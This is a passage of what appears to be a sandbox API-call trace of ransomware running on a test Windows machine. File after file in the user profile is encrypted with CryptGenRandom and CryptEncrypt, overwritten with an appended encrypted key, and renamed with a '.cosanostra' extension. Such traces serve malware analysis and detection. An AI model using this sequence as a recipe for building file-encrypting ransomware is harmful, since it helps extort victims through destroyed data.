lpNumberOfBytesWritten=0x26ff7dc*=0x30, lpOverlapped=0x0) returned 1 [0088.348] CloseHandle (hObject=0x17c) returned 1 [0088.349] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.cosanostra")) returned 1 [0088.402] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff820 | out: pbBuffer=0x26ff820) returned 1 [0088.402] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff818*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff818*=0x30) returned 1 [0088.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.416] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned 97 [0088.416] StrStrW (lpFirst="WindowsMail.MSMessageStore", lpSrch=".txt") returned 0x0 [0088.478] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.478] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff7dc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff7dc*=0x2800, lpOverlapped=0x0) returned 1 [0088.478] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.479] WriteFile (in: hFile=0x174, lpBuffer=0x26ff81c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff81c*, lpNumberOfBytesWritten=0x26ff7dc*=0x4, lpOverlapped=0x0) returned 1 [0088.480] WriteFile (in: hFile=0x174, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7dc*=0x30, lpOverlapped=0x0) returned 1 [0088.480] CloseHandle (hObject=0x174) returned 1 [0088.481] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore.cosanostra")) returned 1 [0088.482] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff818 | out: pbBuffer=0x26ff818) returned 1 [0088.482] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff810*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff810*=0x30) returned 1 [0088.482] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.563] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned 91 [0088.563] StrStrW (lpFirst="Roses.htm", lpSrch=".txt") returned 0x0 [0088.564] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffff17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.564] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x26ff7d4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff7d4*=0xe9, lpOverlapped=0x0) returned 1 [0088.564] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.564] WriteFile (in: hFile=0x154, lpBuffer=0x26ff814*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff814*, lpNumberOfBytesWritten=0x26ff7d4*=0x4, lpOverlapped=0x0) returned 1 [0088.564] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7d4*=0x30, lpOverlapped=0x0) returned 1 [0088.564] CloseHandle (hObject=0x154) returned 1 [0088.564] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.cosanostra")) returned 1 [0088.565] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff818 | out: pbBuffer=0x26ff818) returned 1 [0088.565] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff810*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff810*=0x30) returned 1 [0088.565] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.565] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned 99 [0088.565] StrStrW (lpFirst="Green Bubbles.htm", lpSrch=".txt") returned 0x0 [0088.566] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.566] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x26ff7d4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff7d4*=0xed, lpOverlapped=0x0) returned 1 [0088.566] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.566] WriteFile (in: hFile=0x154, lpBuffer=0x26ff814*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff814*, lpNumberOfBytesWritten=0x26ff7d4*=0x4, lpOverlapped=0x0) returned 1 [0088.566] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7d4*=0x30, lpOverlapped=0x0) returned 1 [0088.566] CloseHandle (hObject=0x154) returned 1 [0088.567] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.cosanostra")) returned 1 [0088.567] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff810 | out: pbBuffer=0x26ff810) returned 1 [0088.567] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff808*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff808*=0x30) returned 1 [0088.567] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.645] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned 92 [0088.645] StrStrW (lpFirst="Garden.jpg", lpSrch=".txt") returned 0x0 [0088.676] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.676] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff7cc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff7cc*=0x2800, lpOverlapped=0x0) returned 1 [0088.676] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.677] WriteFile (in: hFile=0x188, lpBuffer=0x26ff80c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7cc, lpOverlapped=0x0 | out: lpBuffer=0x26ff80c*, lpNumberOfBytesWritten=0x26ff7cc*=0x4, lpOverlapped=0x0) returned 1 [0088.811] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7cc*=0x30, lpOverlapped=0x0) returned 1 [0088.811] CloseHandle (hObject=0x188) returned 1 [0088.811] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.cosanostra")) returned 1 [0088.813] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff808 | out: pbBuffer=0x26ff808) returned 1 [0088.813] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff800*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff800*=0x30) returned 1 [0088.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\0b619d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.814] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01") returned 109 [0088.814] StrStrW (lpFirst="0B619d01", lpSrch=".txt") returned 0x0 [0088.832] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.832] WriteFile (in: hFile=0x188, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff7c4, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x26ff7c4*=0x2800, lpOverlapped=0x0) returned 1 [0088.833] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.833] WriteFile (in: hFile=0x188, lpBuffer=0x26ff804*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7c4, lpOverlapped=0x0 | out: lpBuffer=0x26ff804*, lpNumberOfBytesWritten=0x26ff7c4*=0x4, lpOverlapped=0x0) returned 1 [0088.834] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7c4*=0x30, lpOverlapped=0x0) returned 1 [0088.834] CloseHandle (hObject=0x188) returned 1 [0088.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\0b619d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\0b619d01.cosanostra")) returned 1 [0088.837] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff800 | out: pbBuffer=0x26ff800) returned 1 [0088.837] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7f8*=0x30) returned 1 [0088.837] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.838] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite") returned 115 [0088.838] StrStrW (lpFirst="index.sqlite", lpSrch=".txt") returned 0x0 [0089.070] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.071] WriteFile (in: hFile=0x188, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff7bc, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x26ff7bc*=0x2800, lpOverlapped=0x0) returned 1 [0089.071] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.071] WriteFile (in: hFile=0x188, lpBuffer=0x26ff7fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff7fc*, lpNumberOfBytesWritten=0x26ff7bc*=0x4, lpOverlapped=0x0) returned 1 [0089.071] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7bc*=0x30, lpOverlapped=0x0) returned 1 [0089.071] CloseHandle (hObject=0x188) returned 1 [0089.072] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite.cosanostra")) returned 1 [0089.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff800 | out: pbBuffer=0x26ff800) returned 1 [0089.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7f8*=0x30) returned 1 [0089.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_003_"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.074] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_") returned 107 [0089.074] StrStrW (lpFirst="_CACHE_003_", lpSrch=".txt") returned 0x0 [0089.260] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.260] WriteFile (in: hFile=0x180, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff7bc, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x26ff7bc*=0x2800, lpOverlapped=0x0) returned 1 [0089.260] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.260] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff7fc*, lpNumberOfBytesWritten=0x26ff7bc*=0x4, lpOverlapped=0x0) returned 1 [0089.813] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7bc*=0x30, lpOverlapped=0x0) returned 1 [0089.813] CloseHandle (hObject=0x180) returned 1 [0089.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_003_"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_003_.cosanostra")) returned 1 [0089.816] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7f8 | out: pbBuffer=0x26ff7f8) returned 1 [0089.816] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7f0*=0x30) returned 1 [0089.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.817] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned 82 [0089.817] StrStrW (lpFirst="Microsoft Store.url", lpSrch=".txt") returned 0x0 [0089.818] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.818] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x26ff7b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff7b4*=0x86, lpOverlapped=0x0) returned 1 [0089.818] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.818] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff7f4*, lpNumberOfBytesWritten=0x26ff7b4*=0x4, lpOverlapped=0x0) returned 1 [0089.818] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7b4*=0x30, lpOverlapped=0x0) returned 1 [0089.818] CloseHandle (hObject=0x180) returned 1 [0089.818] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.cosanostra")) returned 1 [0089.819] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7f0 | out: pbBuffer=0x26ff7f0) returned 1 [0089.819] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7e8*=0x30) returned 1 [0089.819] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.820] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned 84 [0089.820] StrStrW (lpFirst="Microsoft At Work.url", lpSrch=".txt") returned 0x0 [0089.821] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.821] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff7ac*=0x85, lpOverlapped=0x0) returned 1 [0089.821] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.821] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x26ff7ec*, lpNumberOfBytesWritten=0x26ff7ac*=0x4, lpOverlapped=0x0) returned 1 [0089.821] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff7ac*=0x30, lpOverlapped=0x0) returned 1 [0089.821] CloseHandle (hObject=0x180) returned 1 [0089.821] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.cosanostra")) returned 1 [0089.822] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7f0 | out: pbBuffer=0x26ff7f0) returned 1 [0089.822] CryptEncrypt (in: 